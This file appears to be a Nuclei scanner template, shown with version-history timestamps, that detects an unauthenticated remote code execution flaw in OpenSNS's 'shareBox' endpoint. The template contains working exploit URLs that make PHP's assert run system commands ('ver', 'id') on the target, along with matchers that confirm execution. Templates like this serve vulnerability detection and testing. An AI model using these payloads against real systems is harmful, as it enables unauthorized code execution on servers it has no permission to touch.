2021-07-07 09:49:36 +00:00
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id: opensns-rce
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info:
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2022-05-30 14:36:52 +00:00
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name: OpenSNS - Remote Code Execution
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2021-07-07 09:49:36 +00:00
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author: gy741
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severity: critical
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2022-05-31 09:19:47 +00:00
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description: |
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OpenSNS allows remote unauthenticated attackers to execute arbitrary code via the 'shareBox' endpoint.
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2021-08-18 11:37:49 +00:00
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reference:
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2021-08-19 14:44:46 +00:00
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- http://www.0dayhack.net/index.php/2417/
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- https://www.pwnwiki.org/index.php?title=OpenSNS_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E
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2022-05-30 14:36:52 +00:00
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10.0
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cwe-id: CWE-77
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2021-07-07 09:49:36 +00:00
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tags: opensns,rce
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requests:
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- method: GET
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path:
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- '{{BaseURL}}/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(ver)'
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- '{{BaseURL}}/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(id)'
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matchers-condition: and
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matchers:
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2021-07-07 13:00:15 +00:00
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- type: regex
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2022-05-31 09:19:47 +00:00
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part: body
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2021-07-07 13:00:15 +00:00
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regex:
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- "((u|g)id=)"
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2021-07-07 09:49:36 +00:00
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- "Microsoft Windows"
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2021-07-07 13:00:15 +00:00
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condition: or
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- type: word
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words:
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- "/Application/"
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2021-07-07 09:49:36 +00:00
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- type: status
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status:
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- 200
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2022-05-30 14:36:52 +00:00
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# Enhanced by mp on 2022/05/30
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